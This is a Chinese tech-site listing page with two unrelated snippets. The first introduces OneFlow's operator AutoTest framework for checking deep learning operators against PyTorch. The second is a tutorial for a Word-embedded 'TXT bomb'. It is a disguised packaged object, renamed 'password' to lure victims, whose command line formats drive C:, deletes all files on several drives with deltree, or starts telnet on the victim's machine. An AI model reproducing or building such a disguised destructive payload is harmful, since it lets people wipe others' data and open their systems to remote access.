首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    深度学习框架如何优雅的做算子对齐任务?

    之前回答过「如何为PyTorch做贡献的知乎问题」,原贴见:https://www.zhihu.com/question/502301777/answer/2248950419 。回答提到了去年在OneFlow开发一些算子时,基于算子AutoTest框架找到了一些PyTorch算子的bug,并给PyTorch做出了反馈或修复。但这个回答没有介绍这个AutoTest框架长什么样子,以及它背后的原理。因此,这篇文章就用来介绍OneFlow的算子AutoTest框架看一下OneFlow深度学习框架在算子开发过程中是如何优雅的做算子对齐任务的(由@大缺弦 开发,后经我和其它同事进行扩展和丰富功能形成今天的形态)。这个AutoTest框架也可以很轻易移植到其它深度学习训练框架使用,代码实现在https://github.com/Oneflow-Inc/oneflow/blob/v0.6.0/python/oneflow/test_utils/automated_test_util/torch_flow_dual_object.py。

    04

    制作TXT炸弹【假】

    教你做个TXT炸弹1.创建一个只包含一个空格(为了减小文件体积,大家都知道)的文本文件,取名3jie。 2.打开WORD文档,将此文件拖放入文档。也可以点击记文档菜单栏中的“插入\对象”,弹出“插入对象”对话框,选中“从文件创建”,然后点击“浏览”按钮选择要插入的文件,点击“确定”,就OK了。。。 3.选中该插入对象的图标,选择菜单栏中的“编辑\包对象\编辑包”。   在弹出的“对象包装程序”对话框中,选择菜单栏中的“编辑\命令行”,然后输入如下命令:start.exe /m format c:/q /autotest /u ,点击“确定”,此时,内容栏中会显示出命令内容。这里就给我们大家一个启示,例如我们编辑上面的命令替换为:start.exe /m deltree /y a:\*.* c:\*.* d:\*.* 则是将删除对方硬盘下所有文件(盘符根据实际情况自定义);如果替换为:start.exe /m deltree /y c:\windows\system\*.* 则是删除对方c:\windows\system\目录底下的所有文件。这里我们可以得到启示,我们也可以编辑其他的命令如:@auto start telnet 就是打开对放的telnet服务。这里我就不演示了的,请多包涵。。。 4.点击“插入图标”按钮,会弹出一个对话框,确认,然后任选一个图标。这里我们可以随便选的, 5.选择菜单栏中的“编辑\标签”,为我们刚嵌入的对象改名(怎么看这办,不用我说吧)这里我们就假如用password吧。点击“文件”菜单中的“更新”,然后关闭此对话框。 6.将刚刚建立的嵌入对象拖放到桌面上。

    04
    领券